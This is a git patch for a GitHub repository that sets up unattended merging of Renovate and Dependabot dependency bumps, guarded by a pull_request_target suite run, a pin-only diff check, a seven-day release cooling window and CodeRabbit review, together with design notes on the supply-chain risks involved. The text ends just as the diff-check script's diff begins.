From 2d22f1b9036b56c460b40f22fee25f3008af84ce Mon Sep 17 00:00:00 2001 From: Ivan Pinatti Date: Mon, 17 Aug 2026 12:57:55 -0400 Subject: [PATCH 1/2] Let dependency bumps merge themselves once the suite proves them Dependabot's auto-merge has never once completed. It approves and arms auto-merge correctly, but `main` requires a code owner review and CODEOWNERS accepts only users and teams, so no bot can ever satisfy it; and the required `Tests Verified` context stays absent until someone comments `/run-tests`. Every bot pull request has therefore waited for a person, which is what prompted this. Renovate was further out still, with automerge off in config. Three things had to change together: - the suite starts itself for renovate[bot] and dependabot[bot] on a branch in this repository, through a pull_request_target trigger, so the required context is published without anyone asking. pull_request_target rather than pull_request because it reads this file from the default branch, and Renovate maintains pins inside .github/workflows/. - bot-auto-merge.yml (was dependabot-auto-merge.yml) supplies the approving review for both bots, and only after the diff is proven to change nothing but a version or a digest in one of four files. Without that assertion, approving on the strength of the author would hand the bot identity write access to main, and two of those four paths execute what they contain. - Renovate automerges patch, minor and digest updates, labelling them so the workflow can tell which ones it is asking for. Majors arrive unlabelled and wait. Against the supply chain risk this opens: a seven day cooling window, cleared for vulnerability fixes so security patches are not delayed, and CodeRabbit switched to request_changes_workflow so its objection blocks the merge. Both are documented in docs/HARDENING.md along with what they do not cover, which is mainly that the scanners read the working tree and never inspect the images a bump points at. Requires "Require review from Code Owners" to be turned off on main. It was excluding the bot and nothing else: an approving review only counts from an account with write access and this repository has exactly one. docs/ CONTRIBUTING.md records that coupling, because it stops being true the day a second write collaborator is added. --- .coderabbit.yaml | 24 +++ .cspell.json | 1 + .github/renovate.json5 | 85 +++++++++- .github/workflows/bot-auto-merge.yml | 168 ++++++++++++++++++++ .github/workflows/dependabot-auto-merge.yml | 58 ------- .github/workflows/integration-tests.yml | 153 ++++++++++++++---- docs/CONTRIBUTING.md | 55 ++++++- docs/HARDENING.md | 57 +++++++ scripts/assert-pin-only-diff.py | 137 ++++++++++++++++ tests/test_assert_pin_only_diff.py | 162 +++++++++++++++++++ 10 files changed, 799 insertions(+), 101 deletions(-) create mode 100644 .github/workflows/bot-auto-merge.yml delete mode 100644 .github/workflows/dependabot-auto-merge.yml create mode 100755 scripts/assert-pin-only-diff.py create mode 100644 tests/test_assert_pin_only_diff.py diff --git a/.coderabbit.yaml b/.coderabbit.yaml index 3e7dd5c2..1b4aef06 100644 --- a/.coderabbit.yaml +++ b/.coderabbit.yaml @@ -6,6 +6,30 @@ language: en-US reviews: + # Approve once CodeRabbit's own comments are resolved and no pre-merge check + # is failing, and request changes until then. + # + # This is here for the dependency bots. Their pull requests merge without a + # person looking at them, so CodeRabbit is the reviewer that does, and a + # changes-requested review blocks the merge under branch protection exactly + # like an unresolved conversation does. Nothing else in the pipeline reads a + # bump for intent: the mechanical linters check form, the suite checks that + # the stack still works, and neither would object to a plausible looking line + # that does something else as well. + # + # Its reach is narrower than it looks, and worth being honest about. A version + # or digest bump has no reviewable content, so on most of these pull requests + # CodeRabbit has nothing to say and cannot possibly detect a backdoored + # upstream image. What it does cover is the case the diff assertion in + # bot-auto-merge.yml is also aimed at, a bump that carries a change to + # workflow or hook logic alongside it. Two independent readers of the same + # risk, one mechanical and one not. + # + # The cost, accepted deliberately: the setting is global, so human pull + # requests are gated on CodeRabbit's satisfaction too. Dismissing its review + # is a click when it is wrong, and a bot bump it dislikes waits for the + # maintainer rather than merging, which is the direction to fail in. + request_changes_workflow: true auto_review: # CodeRabbit is a GitHub App posting a check, not a workflow job, so it # cannot be ordered after the linters with `needs:` the way a workflow job diff --git a/.cspell.json b/.cspell.json index 92a9d07f..07bfa20c 100644 --- a/.cspell.json +++ b/.cspell.json @@ -89,6 +89,7 @@ "autoupdate", "autouse", "autowant", + "backdoored", "Badass", "badasstorrents", "bandit", diff --git a/.github/renovate.json5 b/.github/renovate.json5 index 44dcd32d..322199dd 100644 --- a/.github/renovate.json5 +++ b/.github/renovate.json5 @@ -26,9 +26,77 @@ // Keep PR volume manageable so CI is not overwhelmed. prConcurrentLimit: 5, prHourlyLimit: 2, + + // The default, overridden per update type in packageRules below. Kept as the + // default rather than inverted, so a datasource or update type nobody thought + // about arrives needing a person. automerge: false, + // GitHub's own auto-merge, armed by Renovate when it opens the pull request + // and completed by GitHub once branch protection is satisfied. The default, + // stated because it is load-bearing: the alternative is Renovate merging + // through the API on its own judgement of whether the checks passed, and + // Renovate cannot see a required status context that is *absent*, which is + // exactly the state a pull request is in until the integration suite + // publishes `Tests Verified`. Handing the decision to GitHub means the check + // it cannot see is the one thing it cannot skip. + platformAutomerge: true, + automergeStrategy: "squash", + + // A cooling window before an update is offered at all. This is the main + // defense against a compromised upstream release, and it is a defense the + // scanners do not provide: Trivy runs `fs` against the working tree and never + // inspects the images a bump points at, and every scanner matches published + // advisories, which a fresh supply chain attack has none of. Most compromised + // releases are spotted and pulled within hours to days, so waiting is what + // turns "we merged it first" into "it was already yanked". See + // docs/HARDENING.md. + minimumReleaseAge: "7 days", + + // Hold the pull request until the window is satisfied rather than opening one + // that is not allowed to merge yet. Without this the window would still be + // honoured, but a week of pull requests would sit there looking blocked for + // no visible reason. + internalChecksFilter: "strict", + + // The exception, and the reason the window can be as long as a week: a fix + // for a known vulnerability is not made safer by aging, and this stack faces + // the internet. null clears the inherited window for these updates only. + vulnerabilityAlerts: { + minimumReleaseAge: null, + }, + + // Required status checks are strict on `main`, so a pull request that falls + // behind cannot merge until it is updated. Renovate doing the rebase keeps + // the push attributed to renovate[bot]: the approval on these pull requests + // is github-actions[bot]'s, and `requireLastPushApproval` needs the approver + // and the pusher to be different accounts, which would stop being true if + // GitHub's auto-merge did the update instead. + rebaseWhen: "behind-base-branch", + packageRules: [ + // What may merge without anyone looking, and the label that says so. + // + // First in the list on purpose. Later rules win on any key they share, and + // the group rules below deliberately share none of these: they set names + // and labels, not policy. A rule that means to keep something manual has to + // come after this one. + // + // The label is not decoration. bot-auto-merge.yml approves a Renovate pull + // request only when it carries this label, so the decision about which + // bumps are eligible lives here, once, instead of being restated in a + // workflow expression free to drift from it. A major bump matches nothing + // here, arrives unlabelled, and waits for review. + // + // digest and pin are in the list because a digest bump is how a rebuilt tag + // reaches this repository at all: leaving them out would mean the pins that + // pinDigests maintains could only be refreshed by hand, which is how they + // rot. + { + matchUpdateTypes: ["patch", "minor", "digest", "pin", "pinDigest"], + automerge: true, + addLabels: ["automerge"], + }, // *arr suite — group together as they share config and often release together. { matchDatasources: ["docker"], @@ -97,18 +165,23 @@ // request: they are the same pin, and letting them drift apart would mean // the prerequisite job and the suite testing different tools. // - // Left out of any automerge, and deliberately: podman-compose is what - // talks to podman, and a bump has to be proven by an actual suite run, - // which - // only starts when someone comments `/run-tests`. The `ci-runtime` label is - // there to make that obvious on the pull request. + // This used to be held out of automerge, on the grounds that podman-compose + // is what talks to podman and a bump had to be proven by an actual suite + // run, which only started when someone commented `/run-tests`. The suite now + // starts itself for these pull requests, so the condition that kept this + // manual is met by the thing it was waiting for. A podman-compose that + // cannot stand the stack up fails the suite loudly, which is the whole + // proof that was being asked for. + // + // The `ci-runtime` label stays. It marks the one bump that changes the + // tooling the suite itself runs on, which is worth being able to find after + // the fact when something starts behaving oddly in CI. { matchDatasources: ["pypi"], matchPackageNames: ["podman-compose"], groupName: "container runtime tooling", groupSlug: "ci-runtime", addLabels: ["ci-runtime"], - automerge: false, }, ], diff --git a/.github/workflows/bot-auto-merge.yml b/.github/workflows/bot-auto-merge.yml new file mode 100644 index 00000000..a78510ff --- /dev/null +++ b/.github/workflows/bot-auto-merge.yml @@ -0,0 +1,168 @@ +--- +name: Bot Auto Merge + +# Supplies the approving review that lets a dependency bump merge unattended. +# Nothing else: the tests are proven by `Tests Verified`, which +# integration-tests.yml publishes on its own for these pull requests, and the +# merge itself is GitHub's, armed either by Renovate (platformAutomerge) or by +# the last step here on the Dependabot path, because Dependabot cannot arm it. +# +# Why an approval has to be supplied at all: branch protection requires one, and +# `main` no longer requires it to come from a code owner, because CODEOWNERS +# accepts only users and teams. No bot can ever satisfy a code owner rule, so +# with that rule on, a dependency bump could not merge without a person or a +# stored credential belonging to one. The rule was excluding nothing else, since +# an approving review only counts from an account with write access and this +# repository has exactly one. See docs/CONTRIBUTING.md for the consequence: if a +# second write collaborator is ever added, that stops being true and this +# arrangement has to be revisited. +# +# pull_request_target, not pull_request, and the difference is the whole +# defense. Under `pull_request` this file would be read from the pull request's +# own merge commit, so a bump that reached workflow files could delete the +# assertion below and approve itself, and Renovate does maintain pins in +# .github/workflows/. pull_request_target runs the default branch's copy +# instead. It is normally the more dangerous of the two because it hands a write +# token to a workflow a fork can trigger, which does not apply here: this job +# never checks out the pull request, and the author condition it is gated on +# comes from the immutable copy. +on: + # zizmor: ignore[dangerous-triggers] + # + # Flagged by default, and the reasoning above is why it stays. The checkout + # below is pinned to the base branch, and the only thing read from the pull + # request is its diff, as data, on stdin. + pull_request_target: + types: [opened, synchronize, reopened] + branches: + - main + +# The floor. The job widens it for itself. +permissions: + contents: read + +jobs: + approve: + name: Approve and enable auto-merge + # user.login is set by GitHub from the authenticated author, so a pull + # request cannot claim to be a bot. Exact equality, not startsWith or + # contains: `renovate[bot]-x` is a login somebody may register, and the + # non-fork condition is the second half of the same fence, since reaching + # this job any other way would take write access to this repository. + if: >- + github.event.pull_request.head.repo.fork == false && ( + github.event.pull_request.user.login == 'renovate[bot]' || + github.event.pull_request.user.login == 'dependabot[bot]' + ) + runs-on: ubuntu-latest + timeout-minutes: 5 + permissions: + # For `gh pr merge --auto` on the Dependabot path only. Arming auto-merge + # does not merge anything: every required check still has to pass, and + # `Tests Verified` is absent until the suite proves this commit. + contents: write + pull-requests: write + steps: + - name: Check out the default branch + uses: actions/checkout@v7 + with: + # Explicitly the base branch, which is also what pull_request_target + # checks out by default. Stated anyway, because the assertion below is + # only worth running if it is this repository's copy of it and not the + # pull request's, and a default is a poor place to keep that. + ref: ${{ github.event.pull_request.base.ref }} + persist-credentials: false + + - name: Refuse anything that is not a pin change + # The check that keeps "approve on the strength of the author" from + # meaning "the bot identity has write access to main". Two of the paths + # a bump is allowed to touch are executable, since the pip pins live in + # workflow run steps and the scanner images inside pre-commit hook + # entries, so the diff is compared line by line rather than only by + # path. See scripts/assert-pin-only-diff.py. + # + # The diff is fetched through the API rather than checked out, so + # nothing from the pull request is ever on disk here. + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + PR_NUMBER: ${{ github.event.pull_request.number }} + run: gh pr diff "$PR_NUMBER" | python3 scripts/assert-pin-only-diff.py + + - name: Fetch Dependabot metadata + id: metadata + if: github.event.pull_request.user.login == 'dependabot[bot]' + uses: dependabot/fetch-metadata@25dd0e34f4fe68f24cc83900b1fe3fe149efef98 # v3.1.0 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + + - name: Decide whether this bump may merge unattended + # One decision, one place. The steps below read its outputs rather than + # restating the condition, which is what went wrong before: the same + # expression was written out twice, both copies compared the ecosystem + # to a hyphenated name that fetch-metadata never emits (it reports + # "pre_commit", confirmed live), and all ten pull requests from the + # first run silently skipped both steps, none flagged as a failure + # since a skipped step is not an error. + # + # Renovate is asked by label, not by update type. It already decides + # which of its own pull requests may automerge, in + # .github/renovate.json5, and the rule that grants it also adds the + # `automerge` label. Restating the update types here would be a second + # copy of that policy, free to drift from the one Renovate acts on. + # A major bump therefore arrives with no label, gets no approval, and + # waits. + # + # Dependabot has no such config, so its update type is read from the + # metadata action. All three of its ecosystems are eligible, test + # requirements included: they only reach the test virtualenv, and the + # suite is what clears them either way. + id: decide + env: + PR_AUTHOR: ${{ github.event.pull_request.user.login }} + HAS_AUTOMERGE_LABEL: ${{ contains(github.event.pull_request.labels.*.name, 'automerge') }} + UPDATE_TYPE: ${{ steps.metadata.outputs.update-type }} + run: | + approve=false + arm=false + + case "$PR_AUTHOR" in + "renovate[bot]") + if [ "$HAS_AUTOMERGE_LABEL" = "true" ]; then + approve=true + else + echo "::notice::No automerge label, so Renovate is not asking for this to merge on its own." + fi + ;; + "dependabot[bot]") + case "$UPDATE_TYPE" in + version-update:semver-patch | version-update:semver-minor) + approve=true + # Dependabot cannot arm auto-merge itself, unlike Renovate. + arm=true + ;; + *) + echo "::notice::Update type ${UPDATE_TYPE:-unknown} is not a patch or minor bump, so it waits for review." + ;; + esac + ;; + esac + + echo "approve=$approve" >> "$GITHUB_OUTPUT" + echo "arm=$arm" >> "$GITHUB_OUTPUT" + + - name: Approve + if: steps.decide.outputs.approve == 'true' + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + PR_URL: ${{ github.event.pull_request.html_url }} + # Re-approved on every push, which is required rather than wasteful: + # branch protection dismisses stale reviews, so a rebase drops the + # previous approval, and `synchronize` is above for that reason. + run: gh pr review --approve "$PR_URL" + + - name: Enable auto-merge + if: steps.decide.outputs.arm == 'true' + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + PR_URL: ${{ github.event.pull_request.html_url }} + run: gh pr merge --auto --squash "$PR_URL" diff --git a/.github/workflows/dependabot-auto-merge.yml b/.github/workflows/dependabot-auto-merge.yml deleted file mode 100644 index 132adf28..00000000 --- a/.github/workflows/dependabot-auto-merge.yml +++ /dev/null @@ -1,58 +0,0 @@ ---- -name: Dependabot Auto Merge - -on: - pull_request: - branches: - - main - -permissions: - contents: write - pull-requests: write - -jobs: - dependabot: - name: Approve and enable auto-merge - if: github.event.pull_request.user.login == 'dependabot[bot]' - runs-on: ubuntu-latest - steps: - - name: Fetch Dependabot metadata - id: metadata - uses: dependabot/fetch-metadata@25dd0e34f4fe68f24cc83900b1fe3fe149efef98 # v3.1.0 - with: - github-token: ${{ secrets.GITHUB_TOKEN }} - - - name: Approve eligible Dependabot PR - # fetch-metadata reports the ecosystem using dependabot's internal, - # underscored naming (confirmed live: "pre_commit", not the - # "pre-commit" this repo's dependabot.yml itself is keyed under), - # so a hyphenated comparison here never matched anything; all ten - # PRs from the first run after this workflow existed skipped both - # steps below silently, none flagged as a failure since a skipped - # step isn't an error. - if: | - ( - steps.metadata.outputs.package-ecosystem == 'pre_commit' || - steps.metadata.outputs.package-ecosystem == 'github_actions' - ) && ( - steps.metadata.outputs.update-type == 'version-update:semver-patch' || - steps.metadata.outputs.update-type == 'version-update:semver-minor' - ) - run: gh pr review --approve "$PR_URL" - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - PR_URL: ${{ github.event.pull_request.html_url }} - - - name: Enable auto-merge for eligible Dependabot PR - if: | - ( - steps.metadata.outputs.package-ecosystem == 'pre_commit' || - steps.metadata.outputs.package-ecosystem == 'github_actions' - ) && ( - steps.metadata.outputs.update-type == 'version-update:semver-patch' || - steps.metadata.outputs.update-type == 'version-update:semver-minor' - ) - run: gh pr merge --auto --squash "$PR_URL" - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - PR_URL: ${{ github.event.pull_request.html_url }} diff --git a/.github/workflows/integration-tests.yml b/.github/workflows/integration-tests.yml index 20af5c7f..3ca4bee2 100644 --- a/.github/workflows/integration-tests.yml +++ b/.github/workflows/integration-tests.yml @@ -1,9 +1,16 @@ --- name: Integration Tests -# The integration suite, asked for by commenting `/run-tests` on a pull request. +# The integration suite. Two ways in, and only two: # -# It runs here, in the workflow the comment triggers, rather than starting +# - a maintainer comments `/run-tests` on a pull request. +# - a dependency bot opens or updates one, which starts the suite with nobody +# asking. That is what lets those pull requests merge unattended: the +# required `Tests Verified` context below is otherwise absent, and absent +# blocks the merge forever. Restricted to renovate[bot] and dependabot[bot] +# on a branch in this repository, decided in the gate job. +# +# It runs here, in the workflow the trigger fires, rather than starting # another one. Two earlier designs failed on that: # # - a workflow_dispatch run is dispatched off main, so its check attaches to @@ -16,14 +23,20 @@ name: Integration Tests # head SHA, which is what branch protection reads. Nothing has to trigger # anything. This is the shape cloudposse uses for the same problem. # -# An issue_comment workflow always runs the default branch's copy of this file, -# so a pull request cannot alter the checks that gate it. The code under test is -# checked out explicitly from the merge ref below. +# Neither trigger reads this file from the pull request. An issue_comment +# workflow always runs the default branch's copy, and pull_request_target is +# documented as running "in the context of the default branch of the base +# repository, rather than in the context of the merge commit, as the +# pull_request event does". So a pull request cannot alter the checks that gate +# it, which plain `pull_request` would have allowed and which matters here +# because Renovate edits workflow files: the pip pins in +# pull-request-validation.yml are its to update. The code under test is checked +# out explicitly from the merge ref below. # -# Three jobs, and the split is the security boundary, not decoration. A comment -# triggered workflow holds the full secret set and a write token, unlike the -# pull_request trigger this replaced, where GitHub withholds both from a fork. -# Running a fork's code in the same job as those would be a pwn request. So: +# Three jobs, and the split is the security boundary, not decoration. Both +# triggers hold the full secret set and a write token, unlike the plain +# pull_request trigger, where GitHub withholds both from a fork. Running a +# fork's code in the same job as those would be a pwn request. So: # # gate decides, resolves the head, writes the pending status. Privileged, # and never checks out a line of the pull request's code. @@ -37,6 +50,18 @@ name: Integration Tests on: issue_comment: types: [created] + # zizmor: ignore[dangerous-triggers] + # + # pull_request_target is flagged by default, and rightly: it hands a write + # token and every secret to a workflow that a fork can open. What makes it + # safe here is that the gate job below never checks out the pull request, and + # authorizes nothing but the two dependency bots on a branch in this + # repository. A fork reaching this trigger gets a skipped suite and no status, + # which is the same "absent, so blocked" state it had before. The alternative, + # plain `pull_request`, would run this file's own copy from the pull request, + # which is strictly worse. + pull_request_target: + types: [opened, synchronize, reopened] # The floor. Each job below narrows or widens this for itself. permissions: @@ -68,34 +93,81 @@ jobs: # against the pull request's head commit. Held by this job and by # `publish`, neither of which ever checks the pull request's code out. statuses: write + # Cheap event-shape filtering only. Who is allowed is decided in the auth + # step below, in one place, for both triggers. + # + # `head.repo.fork == false` is here rather than in the step because a fork's + # pull request has no business waking this workflow at all. It still reaches + # the suite the same way anyone else's does, by a maintainer commenting. if: >- - github.event.issue.pull_request != null && - github.event.issue.state == 'open' && - startsWith(github.event.comment.body, '/run-tests') + ( + github.event_name == 'issue_comment' && + github.event.issue.pull_request != null && + github.event.issue.state == 'open' && + startsWith(github.event.comment.body, '/run-tests') + ) || ( + github.event_name == 'pull_request_target' && + github.event.pull_request.head.repo.fork == false + ) outputs: authorized: ${{ steps.auth.outputs.authorized }} + pr_number: ${{ steps.auth.outputs.pr_number }} head_sha: ${{ steps.pr.outputs.head_sha }} is_fork: ${{ steps.pr.outputs.is_fork }} steps: - - name: Authorize the commenter - # Only these logins may spend a twelve minute stack run. A comment is - # open to anyone, so this is the gate and has to be right. + - name: Authorize the request + # Two questions, one per trigger, and both answered here so the answer + # lives in a single place on the default branch, which neither trigger + # reads from the pull request. + # + # On a comment: only these logins may spend a twelve minute stack run, + # because a comment is open to anyone. An explicit list rather than + # `author_association`, which the earlier version of this file used: its + # COLLABORATOR value covers anyone with any collaborator role at all, + # read-only and triage included, which is wider than intended. An API + # permission lookup would be self maintaining, but GET + # /collaborators/{user}/permission wants push access to answer, so it + # would mean carrying a personal access token here, which is more to + # maintain and rotate than a line of YAML. # - # An explicit list rather than `author_association`, which the earlier - # version of this file used: its COLLABORATOR value covers anyone with - # any collaborator role at all, read-only and triage included, which is - # wider than intended. An API permission lookup would be self - # maintaining, but GET /collaborators/{user}/permission wants push - # access to answer, so it would mean carrying a personal access token - # here, which is more to maintain and rotate than a line of YAML. + # On a pull request: only the two dependency bots, matched exactly. + # `startsWith` or `contains` would be wrong here in a way that is easy + # to miss, because a user is free to register the login + # `renovate[bot]-something` and open a pull request from a fork. Exact + # equality plus the non-fork condition in the job's `if` means an + # attacker would need write access to this repository to reach the + # suite, which is already trust enough to push to main. + # + # user.login is set by GitHub from the authenticated author, so it + # cannot be spoofed by the pull request's contents. # - # This list lives on the default branch, which an issue_comment - # workflow always runs from, so a pull request cannot add itself to it. # Logins are case insensitive, hence the lowercasing. id: auth env: + EVENT_NAME: ${{ github.event_name }} COMMENT_AUTHOR: ${{ github.event.comment.user.login }} + COMMENT_PR_NUMBER: ${{ github.event.issue.number }} + PR_AUTHOR: ${{ github.event.pull_request.user.login }} + PR_NUMBER: ${{ github.event.pull_request.number }} run: | + if [ "$EVENT_NAME" = "pull_request_target" ]; then + echo "pr_number=$PR_NUMBER" >> "$GITHUB_OUTPUT" + author="${PR_AUTHOR,,}" + for name in "renovate[bot]" "dependabot[bot]"; do + if [ "$author" = "$name" ]; then + echo "authorized=true" >> "$GITHUB_OUTPUT" + exit 0 + fi + done + # Not an error. Every pull request opened against this repository + # fires this trigger, and the ones that are not a dependency bump + # wait for `/run-tests` exactly as they did before. + echo "::notice::$author is not a dependency bot, so the suite waits for /run-tests." + echo "authorized=false" >> "$GITHUB_OUTPUT" + exit 0 + fi + + echo "pr_number=$COMMENT_PR_NUMBER" >> "$GITHUB_OUTPUT" allowed=(ivan-pinatti) actor="${COMMENT_AUTHOR,,}" for name in "${allowed[@]}"; do @@ -112,8 +184,10 @@ jobs: - name: Acknowledge the comment # Only once authorized, so the reaction means "accepted and starting" - # rather than "seen". - if: steps.auth.outputs.authorized == 'true' + # rather than "seen". There is nothing to react to on the bot path. + if: >- + steps.auth.outputs.authorized == 'true' + && github.event_name == 'issue_comment' env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | @@ -129,6 +203,13 @@ jobs: # The comment event carries no SHA of its own, and the status has to # land on the commit branch protection is judging, not on main. # + # Asked of the API on both paths, rather than read from the + # pull_request_target payload on one of them. The payload would do, but + # then head_sha and is_fork would come from two different places + # depending on the trigger, and the value that matters most here is the + # one a person can reason about without first working out which trigger + # fired. + # # head.repo is null when the fork it came from has since been deleted, # which would otherwise fail the jq here; the fallback makes that read # as a fork, which is the safe way round. @@ -136,8 +217,9 @@ jobs: if: steps.auth.outputs.authorized == 'true' env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + PR_NUMBER: ${{ steps.auth.outputs.pr_number }} run: | - gh api "repos/${{ github.repository }}/pulls/${{ github.event.issue.number }}" \ + gh api "repos/${{ github.repository }}/pulls/$PR_NUMBER" \ --jq '"head_sha=" + .head.sha, "is_fork=" + (((.head.repo.full_name // "") != "${{ github.repository }}") | tostring)' \ >> "$GITHUB_OUTPUT" @@ -161,8 +243,11 @@ jobs: if: needs.gate.outputs.authorized == 'true' runs-on: ubuntu-latest timeout-minutes: 25 - # One suite per pull request: a second `/run-tests` supersedes the first - # rather than standing a competing stack up on the same runner pool. + # One suite per pull request: a second `/run-tests`, or a push to a bot's + # branch, supersedes the first rather than standing a competing stack up on + # the same runner pool. That matters more on the bot path than the comment + # one, because Renovate rebases its own branches and each rebase would + # otherwise leave a run testing a commit nothing will merge. # # On the job and not the workflow, which is what makes it safe. A # workflow-level group is joined before any job runs, so it cannot depend on @@ -179,8 +264,12 @@ jobs: # gate, so an unauthorized comment skips this job and cancels nothing, and # the allowlist stays in one place instead of being restated in an # expression that cannot read it. + # Not `needs.gate.outputs.pr_number`, even though that is the number this + # job goes on to use: the two triggers carry it under different keys, and a + # fallback expression is readable where a context lookup would send the + # reader to another job to find out what the group even is. concurrency: - group: ${{ github.workflow }}-${{ github.event.issue.number }} + group: ${{ github.workflow }}-${{ github.event.issue.number || github.event.pull_request.number }} cancel-in-progress: true # This job runs the pull request's own code, so it gets a token that can do # nothing but read this public repository, and no `statuses: write`. Steps @@ -191,7 +280,7 @@ jobs: - name: Checkout uses: actions/checkout@v7 with: - ref: refs/pull/${{ github.event.issue.number }}/merge + ref: refs/pull/${{ needs.gate.outputs.pr_number }}/merge # For the parent check below. At the default depth of 1 the merge # commit is a shallow boundary, and git reports a boundary commit as # having no parents at all, so there would be nothing to compare. @@ -217,7 +306,7 @@ jobs: run: | tested=$(git rev-parse --verify --quiet 'HEAD^2' || true) if [ "$tested" != "$HEAD_SHA" ]; then - echo "::error::The merge ref carries head ${tested:-none}, but the status is for $HEAD_SHA. The pull request moved; comment /run-tests again." + echo "::error::The merge ref carries head ${tested:-none}, but the status is for $HEAD_SHA. The pull request moved; the push that moved it starts its own run on the bot path, otherwise comment /run-tests again." exit 1 fi diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md index 5ddec0a6..f2f23ce5 100644 --- a/docs/CONTRIBUTING.md +++ b/docs/CONTRIBUTING.md @@ -103,9 +103,53 @@ maintainer will comment for you. restricted to the maintainer list in `.github/workflows/integration-tests.yml`, and `/run-check`, which costs a couple of lint runs rather than a whole stack, to repository collaborators. -8. Dependabot opens weekly pull requests for `.pre-commit-config.yaml` hook revs - and GitHub Action version bumps. Eligible patch and minor updates are - approved and marked for auto-merge once the required checks pass. +8. Dependency updates are the one exception to all of the above, and they merge + without anyone reviewing them. Dependabot opens weekly pull requests for + `.pre-commit-config.yaml` hook revs, GitHub Action versions and + `tests/requirements.txt`; Renovate opens them for the image versions pinned in + `.env.example` and the pins annotated inline in workflows and pre-commit hooks. + Patch, minor and digest updates then take this path, while a major bump gets + no approval and waits for the maintainer: + + 1. The suite starts itself. `integration-tests.yml` carries a + `pull_request_target` trigger that authorizes `renovate[bot]` and + `dependabot[bot]` on a branch in this repository, so `Tests Verified` is + published without anyone commenting `/run-tests`. Nothing else changes + about the suite: for every other pull request, forks included, it still + only runs when a maintainer asks. + 2. `bot-auto-merge.yml` supplies the approving review branch protection + requires, but only after `scripts/assert-pin-only-diff.py` confirms the + diff changes nothing but a version or a digest, in one of four allowed + files. A bump that reaches anything else is refused and waits, which is + what should happen when a dependency bot steps outside its lane. + 3. CodeRabbit reviews it as the reader nobody else provides, with + `request_changes_workflow` enabled in `.coderabbit.yaml`, so an objection + or an unresolved thread blocks the merge until the maintainer looks. It has + nothing to say about a pure digest bump, which is a real limit rather than + an oversight; see [docs/HARDENING.md](HARDENING.md) for what covers that + instead. + 4. GitHub merges it once every required check is green. Renovate arms + auto-merge itself when it opens the pull request; the workflow does it on + the Dependabot path, which cannot. + + Two coupled settings make this work, and both need writing down because + neither is visible in the repository: + + - **`main` does not require a code owner review.** CODEOWNERS accepts only + users and teams, so no bot can ever satisfy such a rule, and a dependency + bump could not merge without a person or a stored credential belonging to + one. Turning it off cost nothing, because an approving review only counts + from an account with write access and this repository has exactly one, so + the rule was excluding the bot and nobody else. **If a second write + collaborator is ever added that stops being true**, and the choice is then + between giving new collaborators Triage rather than Write, or restoring the + rule and moving the review requirement into a ruleset with the bots in its + bypass list. + - **A required approval is still required.** It comes from + `github-actions[bot]`, which is why "Allow GitHub Actions to create and + approve pull requests" is enabled. For a contributor's pull request nothing + has changed: their own approvals do not count, so the maintainer's review is + still what unblocks it. 9. Adhere to the commit message guidelines as this repository uses [semantic versioning](https://semver.org/). More info: @@ -163,8 +207,9 @@ changes upstream. - Security scanner findings are also published to the repository's Security tab by the `Security Reports` job, which reports rather than gates. See docs/HARDENING.md -- Dependabot handles weekly hook and workflow version bump PRs; major updates - are left for manual review +- Dependabot and Renovate handle weekly dependency bump PRs, and patch, minor and + digest updates merge unattended once the suite passes; major updates are left + for manual review. See step 8 above for the whole path and what gates it ## Scripts diff --git a/docs/HARDENING.md b/docs/HARDENING.md index a02479ec..cc514deb 100644 --- a/docs/HARDENING.md +++ b/docs/HARDENING.md @@ -249,6 +249,63 @@ an app config needs a committed seed, track a sanitized `.example` and let `scripts/seed-configs.sh` copy it into place on `make bootstrap`; the same test file asserts every seeded path has a tracked `.example`. +## Unattended dependency updates + +Patch, minor and digest bumps from Dependabot and Renovate merge with nobody +reviewing them. [docs/CONTRIBUTING.md](CONTRIBUTING.md) step 8 has the +mechanics; this is the risk that buys and what is placed against it. + +The exposure is a malicious upstream release reaching `main` on its own, and +being run by the integration suite on a runner that has just authenticated to +Docker Hub. It is not a new exposure, since the suite already ran that code the +moment a maintainer typed `/run-tests`; what automation removes is the pause +where a person might have noticed. The blast radius is bounded by there being +exactly two secrets in this repository, `DOCKERHUB_USERNAME` and +`DOCKERHUB_TOKEN`, and no deployment credentials of any kind. + +**The scanners do not cover this, and it is worth being exact about why.** The +`Security Reports` job runs Trivy as `fs --scanners vuln,misconfig` against the +working tree, so it reads the manifests that name an image and never pulls or +inspects the image itself. checkov reads infrastructure configuration, gitleaks +reads for credentials, hadolint reads two Dockerfiles. Only zizmor would see a +malicious change here, and only if it were made to a workflow file. Beyond that, +all of them match published advisories, and a supply chain attack on the day it +lands has none: there is no CVE for a package that was backdoored an hour ago. +Adding image scanning would raise the floor on known vulnerabilities without +changing this. + +What is placed against it instead: + +- **A seven day cooling window** (`minimumReleaseAge` in + `.github/renovate.json5`). Compromised releases are typically found and pulled + within hours to days, so the window converts "merged it first" into "it was + yanked before we saw it". Seven rather than fourteen because this stack faces + the internet and being a fortnight behind on ordinary fixes is its own risk. + `vulnerabilityAlerts` clears the window, so a fix for a known vulnerability is + never held back by it. +- **Digest pinning** (`pinDigests`). Every image that names a version is pinned + to its manifest-list digest, so a republished tag cannot change what runs + without a pull request saying so. +- **A pin-only diff assertion** (`scripts/assert-pin-only-diff.py`, enforced by + `bot-auto-merge.yml`). The approval is withheld unless every changed line + differs in nothing but a version or a digest, across four allowed files. This + is aimed at the bot identity rather than the upstream: without it, approving on + the strength of the author means a compromised Renovate could rewrite a + workflow and be approved for it, and two of those four paths execute what they + contain. +- **CodeRabbit as the reader** (`request_changes_workflow` in + `.coderabbit.yaml`). Its objection blocks the merge. Its reach is genuinely + narrow: a version bump has no reviewable content, so it cannot detect a + backdoored image, and it covers the same case as the assertion above, a change + to logic carried alongside a bump. +- **The suite itself**, which has to pass on the exact commit that merges. + +What remains, and is accepted: the two bot identities are trusted to be +themselves, and an upstream release that survives seven days, produces a +pin-only diff, and passes the suite will merge. There is no configuration that +removes that; only reviewing every dependency bump by hand would, at the cost of +the bumps not happening. + ## Verification ```bash diff --git a/scripts/assert-pin-only-diff.py b/scripts/assert-pin-only-diff.py new file mode 100755 index 00000000..df856cd2 --- /dev/null +++ 